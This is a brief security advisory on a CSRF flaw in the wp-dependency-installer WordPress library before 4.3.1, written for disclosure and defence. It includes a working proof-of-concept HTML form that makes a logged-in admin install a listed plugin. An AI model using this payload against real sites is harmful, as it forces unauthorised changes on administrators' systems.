WP Dependency Installer < 4.3.1 – Arbitrary Plugin Installation from Dependency via CSRF

Description

The wp-dependency-installer library, used in the plugins, does not have CSRF check in its dependency_installer AJAX action with the install method, which could allow attackers to make a logged in admin install plugins defined in the wp-dependencies.json via a CSRF attack.

Proof of Concept

The slug has to be present in the wp-dependencies.json from the plugin using the library

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="dependency_installer" />
      <input type="hidden" name="method" value="install" />
      <input type="hidden" name="slug" value="query-monitor/query-monitor.php" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>